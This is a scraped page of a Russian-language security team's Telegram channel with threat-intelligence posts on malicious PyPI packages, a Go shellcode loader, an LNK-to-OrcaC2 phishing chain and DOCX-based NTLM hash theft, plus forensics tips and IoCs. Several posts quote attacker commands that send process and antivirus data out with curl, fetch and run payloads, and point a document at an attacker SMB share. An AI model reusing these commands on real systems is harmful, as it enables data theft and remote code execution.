ESCalator
6.56K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Forwarded from PT SWARM
🇻🇳 At the Positive Hack Talks in Hanoi, our blue team member naumovax shared valuable insights:

1️⃣ Architecture of an automation tool for detecting malware in the network
2️⃣ Key features you should add to your tool
3️⃣ Our refined Suricata rules

Link 👉 https://static.ptsecurity.com/events/stratocaster-how-we-automated-the-routine-search-for-unknown-malware-in-the-network-traffic.pdf

Link to our Suricata rules: https://rules.ptsecurity.com/
167❤‍🔥6👎4👍1
Первые шаги на хакерском поприще 🐱

Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие boto3, scikit-learn, requests (концепт-план версии 0.2.0 — вполне креативный).

Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.

1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:

🟢not-so-evil-package-spaceylad, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.

🟢not-evil-calculator-spaceylad, который непосредственно запустит команду, — скриншот 3.

В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением .css. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe, представляющий собой... calc.exe из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY.

Из занятного — в релизах проектов оставлены папки .idea (папка проекта в IDE PyCharm) и .venv (папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 🐈

2️⃣ В июле-августе 2024 года существовал пакет recovery, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo. Имя автора, ExodusChecker, вызывает смутные подозрения, но давайте не будем торопиться.

Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.

Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем hammy, тестирующий на Exodus 24.31.4) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat, сохраняемый в папку автозагрузки, — это отдельный анекдот.

Сам подменяемый app.asar использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock из app/wallet/index.js получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).

Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis 😍

Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников 🎂

#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👏97👍3🙈2
😏 Полезные инструменты: Mandiant capa

Представьте ситуацию: вы вирусный аналитик или специалист по расследованию инцидентов и вам необходимо в короткие сроки проанализировать большой объем бинарных файлов. В рамках этого анализа требуется разделить безвредные и потенциально опасные файлы и для последних определить их функции и предположительную роль в цепочке компрометации зараженного узла. Все это будет вам нужно для формирования картины атаки, а также для расстановки приоритетов при реагировании.

😐 Отделить хорошие файлы от плохих вы можете, например, с помощью белых списков хеш-сумм файлов, а вот с быстрым определением функций могут возникнуть трудности, так как это требует от аналитика большой насмотренности по части анализа вредоносного ПО.

К сожалению, такие распространенные инструменты, как средства просмотра строк (например, strings или FLOSS), а также анализаторы PE-файлов (например, Detect It Easy или CFF Explorer) отображают только самый низкий уровень детализации и не предлагают пользователям помощи в интерпретации полученных данных.

😠 Для решения задачи оперативного анализа кода и поиска реализованных в программе вредоносных техник можно применить сканирование с помощью эвристических движков. Эти движки используют набор правил, которые направлены на выявление специфических участков кода или отдельных артефактов, характерных для определенных техник. Хорошим примером такого движка является capa от Mandiant.

Проанализировав интересующий вас файл с помощью этого инструмента, вы можете получить перечень задетектированных техник, как например на скриншотах 1 и 2.

☹️ Как работать с этими данными? Чтобы выявить ВПО, можно поступить следующим образом:

1️⃣ Проанализировать все имеющиеся правила capa.

2️⃣ Выставить для каждого из них рейтинг опасности (например, в виде числа от 0 до 10).

3️⃣ Задать пороговое значение для классификации файла как вредоносного.

4️⃣ Суммировать рейтинги детектов анализируемого файла и сравнить их с пороговым значением: если сумма рейтингов больше, значит файл потенциально вредоносный.

Таким образом, вы сможете быстро классифицировать большие наборы файлов, а главное — понять, чем они могут навредить.

🫰 Но можно копнуть глубже и использовать capa как вспомогательный инструмент для реверса. Тут нам поможет тот факт, что детекты capa позволяют локализовать место в коде файла, где была реализована та или иная техника (скриншот 3).

Благодаря этому, если цель реверса сводится к уточнению реализации тех или иных вредоносных механизмов, удастся ускорить их обнаружение.

🤌 Ну и в качестве третьего, более специфического сценария, можно рассматривать capa как инструмент для помощи в поиске схожих образцов вредоносного ПО.

В силу того, что в capa довольно много различных правил детектирования, для анализируемых файлов можно сформировать профили детектов, которые, при достаточном количестве, будут относительно уникальны. Если при анализе потока вредоносного ПО вам будут попадаться файлы со схожими профилями, то их можно брать для сравнения и выявления новых версий семейств ВПО.

#tip #tool #malware
@ptesaclator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21👏10🔥93
Mount point. Pt 2

Привет! Мы снова решили поговорить про монтирование дисков. Сегодня расскажем, как работать с контейнерами LVM. Держите короткий мануал, чтобы не гуглить и не тратить время срочного расследования.

1️⃣ Шаг 1. Смотрим информацию об имеющемся бинарном образе:

fdisk -l ./source.raw


(Как получить бинарный образ из VMDK, VDI, VHD и других форматов, писали тут).

Видим:

Device     Boot   Start   End   Blocks    Id System
disk.img1 * 1 13 104391 83 Linux
disk.img2 14 2491 19904535 8e Linux LVM


Здесь нас интересует раздел 8e — Linux LVM.

2️⃣ Шаг 2. Монтируем исходный образ на виртуальный интерфейс loop:

sudo losetup -f -P source.raw


В результате должно появиться виртуальное устройство loop-device. Смотрим его параметры:

sudo lsblk -f
loop20
├─loop20p1
├─loop20p2 ext4 1.0 f32150ec-1a4e-4871-9c1b-43219f525536
└─loop20p3 LVM2_member LVM2 001 iiB6Sv-7IZv-k329-ednM-h4Nr-tZQk-NJrMoE


(*индекс устройств может отличаться в зависимости от конфигурации оборудования)

3️⃣ Шаг 3. Сканируем полученное устройство на наличие LVM-разделов:

sudo pvscan --cache


Видим:

pvscan[3874] PV /dev/loop20p3 online.


После этого выполняем команду:

sudo vgs (для просмотра дисковых групп — volume groups):

ubuntu-vg   1   1   0 wz--n- 18.22g    0


и sudo lvs (для просмотра логических разделов — logical volumes):

ubuntu-lv ubuntu-vg -wi-a----- 18.22g


4️⃣ Шаг 4. Активируем LVM-раздел:

sudo vgchange -ay


1 logical volume(s) in volume group "ubuntu-vg" now active


5️⃣ Шаг 5. Затем монтируем с помощью известной команды mount (помним про ключ -ro, чтобы не вносить изменений):

sudo mkdir /mnt/lvm-disk
sudo mount -ro /dev/mapper/ubuntu--vg-ubuntu--lv /mnt/lvm-disk


В итоге получаем смонтированный раздел в указанной папке и выполняем дальнейшие действия.

Для размонтирования LVM используем обратную последовательность команд:

sudo umount /mnt/backup-restore (размонтируем раздел)
sudo lvchange -an /dev/mapper/ubuntu--vg-ubuntu--lv (деактивируем LVM)
sudo losetup -d /dev/loop20 (отключаем устройство)
sudo pvscan --cache (сканируем дисковую систему для обновления состояния)


Еще один пост в копилку полезных мануалов. Продолжение следует!

#tip #dfir
@ptescalator
👍18🔥12💯72🤝2🤷1
🚘 Один ленивый драйвер

Недавно группа киберразведки PT ESC обнаружила исполняемый файл с «необычным» названием, подкрепленным выделяющейся иконкой PDF-файла:

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe


Не поддаемся на уловки злоумышленников и определяем, что данный файл представляет собой модуль, написанный на C#, и бежим в dnSpy. К счастью, не наблюдаем значительных следов обфускации и начинаем разбираться. В глаза бросаются «встроенные» в ресурсы файлы: faylyk, OneDrive, OneDriver и Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf.

1️⃣ faylyk — это иконка, которая будет отображаться в трее при запуске программы;

2️⃣ OneDrive — легитимная копия программы от Microsoft OneDrive;

3️⃣ Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf — декой, легитимный документ.

🧐 А вот OneDriver — что-то необычное, что-то такое, что сразу приковывает внимание.

Проследовав в точку входа, убеждаемся, что наибольший интерес представляет класс MyCustomApplicationContext, в котором видим манипуляцию с файлами из ресурсов:
Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf записывается по пути %APPDATA%\Documents, OneDrive по пути C:\Users\Public\OneDrive.exe, а OneDriver.exe записывается по пути %APPDATA%\Driver\OneDrives_v2_1.exe и добавляется в автозагрузку, путем создания LNK-файла в директории %APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp.

Чтобы отвести внимание, загрузчик одновременно открывает записанный декой PDF-файл и загрузчик OneDriver.exe.

🦥 LazyOneLoader (так мы назвали OneDriver.exe) представляет из себя загрузчик, написанный на языке Go. Данный загрузчик достаточно тривиален, но обладает некоторыми особенностями.

Принцип работы достаточно прост: имеется зашифрованный буфер, сохраненный в формате base64, который в процессе работы программы расшифровывается, используя операцию xor с ключом 4c776449576c50636c5a507251.

Следом запускается процесс OneDrive.exe, полученный на предыдущем шаге, в статусе SUSPENDED, в котором выделяется память, используя LazyDLL для общения с Native-функциями (VirtualAlloc). В эту память копируется буфер с расшифрованным шеллкодом, и, используя LazyDLL (а именно функцию VirtualProtect), меняются флаги памяти на Executable.

И, наконец, используя функцию QueueUserAPC, создается объект асинхронной функции, который начинает своt выполнение после вызова функции ResumeThread главного потока программы.

💤 К сожалению, получить конечный пейлоад, определяемый этим загрузчиком, на данный момент не представляется возможным: злоумышленник деактивировал свою С2-инфраструктуру (домен phpsymfony.com). Но мы предполагаем, что следующими этапами атаки является загрузка давно известного Cobalt Strike, а следом и дальнейшее горизонтальное перемещение.

IoCs:

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.rar
ab310ddf9267ed5d613bcc0e52c71a08
e1b88c619da8f0630e2879ab22d580ba41b36a62
14b1cd92b0a95ec76b31b0c2ec498b90d82054206f1056a58844513f89baeb55

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe
fad1ddfb40a8786c1dd2b50dc9615275
34918c4d41e69dafe953fee14416f18d5e849081
ad80cbf12e5bee38a197f7bcafbe24983fdd3df6915e5a33a01f0311685e8b24

Исх\_по\_списку\_БГТУ_ВОЕНМЕХ.pdf
4c771efafb9141633ca83df3b21ad365
5f01f5f77239fb304777ce481bc3cbad40d964d4
420866ad15d5de2a6cdfab7ca317e5b20090098ad905d7cac784719f3e33360c

OneDrives_v2_1.exe
cac4db5c6ecfffe984d5d1df1bc73fdb
ef559b3e1c89fd03c427de706a1ce1fed2ae17aa
fdf0ea5d761352791545b1af0223853b31592996600c4ee5f1122e546c6165d3

phpsymfony.com


#TI #malware #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍37🔥13👏9💯2❤‍🔥1🥱1
Лок'тар огар! 👺

В современном мире атаки, направленные на получение первоначального доступа, стали более сложными. Злоумышленники используют многоступенчатую полезную нагрузку, что позволяет им постепенно продвигаться к своей цели, не вызывая подозрений, и увеличивает шансы на успех атаки.

Одним из наиболее популярных механизмов для инициации такой атаки являются LNK-файлы. При их запуске начинается выполнение цепочки скриптов, каждый из которых запускает следующий элемент цепочки, скачивая его с удаленного узла или распаковывая из собственных ресурсов.

🔗 В качестве характерного примера рассмотрим одну такую цепочку. Наше внимание она привлекла несколькими факторами:

1️⃣ Использование легитимного ресурса как хоста для полезной нагрузки.

2️⃣ Использование необычного фреймворка в качестве полезной нагрузки (необычного в том смысле, что до этого мы ни разу не видели его в атаках).

В ходе исследования наш отдел нашел ZIP-архив — вложение для фишингового письма, представленного на скриншоте выше. Внутри — два документа и LNK-файл со скриптом. Содержимое скрипта показано ниже (домен, с которого скачивалась нагрузка, намерено изменен):

"C:\Windows\System32\conhost.exe"
conhost conhost cmd /c expand C:\Windows\system32\curl.exe C:\Users\public\Downloads\cl.exe & tasklist |
curl -k -X POST --data-binary @- -A "PLMN ~%date% ~%time%" https://example.com -o C:\Users\public\Downloads\No15.vbs
&& wscript C:\Users\public\Downloads\No15.vbs


Любопытно, что полезная нагрузка скачивается с легитимного домена российской образовательной организации. По всей видимости, злоумышленники заранее взломали учреждение и начали использовать его ресурсы для своих атак.

🕵️‍♂️ Цепочка атаки раскрывается следующим образом:

-> LNK-файл.
-> Скрипт No15.vbs. Он собирает сведения об установленных антивирусах и скачивает .exe. Код скрипта:

Set oj = CreateObject("WScript.Shell")
oj.Run "cmd /c curl -k https://example.com
fileid=PLMN -o C:\Windows\temp\2024_Determination_to_initiate_a_case.docx
C:\Windows\temp\2024_Determination_to_initiate_a_case.docx", 0, False
oj.Run "cmd /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
C:\Users\Public\Downloads\cl.exe -k -X POST --data-binary @- https://example.com
get=1PLMN1731912032 -o C:\Users\public\Downloads\libPLMN1731912032.exe",0,True
oj.Run "C:\Users\public\Downloads\libPLMN1731912032.exe"


-> libPLMN1731912032.exe — исполняемый файл, написанный на языке Go, сборка пакета которого имеет название Pinocchio. Именно этот бинарь и является сборкой клиента (в терминологии проекта — puppet) OrcaC2.

🧐 Далее приведем описание основной функциональности:

• Удаленное выполнение команд.
• Загрузка и выгрузка файлов.
• Кейлоггер + снятие скриншотов экрана.
• Прямой и обратный прокси-сервер.
• Коммуникация через WebSocket.

На самом деле возможностей у OrcaC2 куда больше. Подробный список можно найти в GitHub-репозитории проекта (осторожно, README написан на китайском языке).

Сам же фреймворк разделяется на три «модуля»:

Puppet — клиентская часть, запускается на устройстве жертвы.
Master — подключается к серверу, через него управляет клиентами.
Server — связующее звено между Pupper и Master.

IoCs:

46c0fd35e4699265db0223cee00b3da48ec157e2d7a51590c87b077918f76d5b — ZIP-архив.
88aa1bd65a6ff5d92ac7041e9685c20e08286709971881660df9c0f4a04c06db — LNK-файл.
0ed459cf2682b12d95613ca8f1f1b9d71bcc529c681f8a2a0ec347bba7d8f4b6 — скрипт No15.vbs.
601f00162583c82d933ad27ec6b3f900d2efde81a1f4cf3724e5cfc4875305cb — libPLMN1731912032.exe.
http://45.147.200.38:443 — C2-сервер.


#hacktool #phishing #ioc #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍157
Ваш хеш, пожалуйста… Спасибо! 🙏

В начале января мы обнаружили файл, который привлек внимание своим содержанием и структурой. Исследование метаданных документа, а также используемых техник соединения с сервером по протоколу SMB через DOCX-файлы позволило установить связь с хакерской группировкой PhaseShifters. Информацию о ней мы публиковали в статье в ноябре 2024 года (рисунок 1). В этой статье также подробно описаны взаимосвязи с группировкой UAC-0050, о которой пойдет речь далее.

🆕 С2-сервер новый, подход старый

Первый файл, про который хочется поговорить, — декой. Он содержит фотографию (рисунок 2) документа, якобы принадлежащего одной компании в сфере военно-промышленного комплекса (создание БПЛА).

Как и в предыдущих атаках, внутри документа есть ссылка-шаблон, с помощью которой происходит получение хеш-сумм NTLM пользователя. Такая техника называется Forced Authentication: посредством шаблона или взаимосвязей с внешними сущностями устройство устанавливает соединение с сервером злоумышленников по протоколу SMB, из-за чего Windows автоматически пытается провести аутентификацию на этом ресурсе.

В файле присутствует обращение к SMB-ресурсу на внешнем сервере 45.155.249.126. Активность сервера наблюдается с ноября 2024 года, соединение происходит через механизм связей (relations) частей WordprocessingML-документа:

<ns0:Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file://\\45.155.249.126\19i6LJ4qNx81SkAFg4mtUbf5.png" TargetMode="External" /></ns0:Relationships>


👤 Поискав другие файлы, связанные с этим IP-адресом, мы выявили еще несколько документов-приманок для атак на организации (рисунки 3–5). Кроме того, стоит отметить важную деталь: в метаданных указано имя пользователя, создавшего или последним изменившего документ, — kib vol.

Наличие связи с внешним SMB-сервером, а также уникальные метаданные позволили зацепиться за еще один файл, который, в свою очередь, связывался с другим IP-адресом (31.214.157.167) злоумышленников — АО-******- -12904ДО.docx. Этот документ был задействован в атаках с использованием Ozone RAT и Darktrack RAT, которые также описаны у нас в статье (рисунок 1).

Просмотрев подсеть 31.214.157.0/24, можно определить как минимум еще один IP-адрес, который замечен в подобных инцидентах, — 31.214.157.49. Этот сервер задействовался в атаках как PhaseShifters (например, ГВПК ответ цифровому развитию.docx), так и UAC-0050 (с использованием домена tax-gov-ua.com). Напомним, что сходства этих двух группировок все еще требуется тщательно исследовать.

IoCs

С2-серверы:

45.155.249.126
31.214.157.167
31.214.157.49


SHA-256:

3172bf0dd76232fc633214f0ba92b25d27b136a2ed5d9e4e7d06b0686ef4d34c
3eca76737c6aee34b4c38845fde13bceed23a31d39e958893a44f42380ff84d5
fd50307b7f08d037c5d37f2505c8de6edc9c57e1843f4434309a135f4b43ff5c
5061e83a380a9c3ebe91bd5de80fe8f11b666a182efbebe13a1b0dfbc2842487


#TI #C2 #ioc #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥29👍10👏92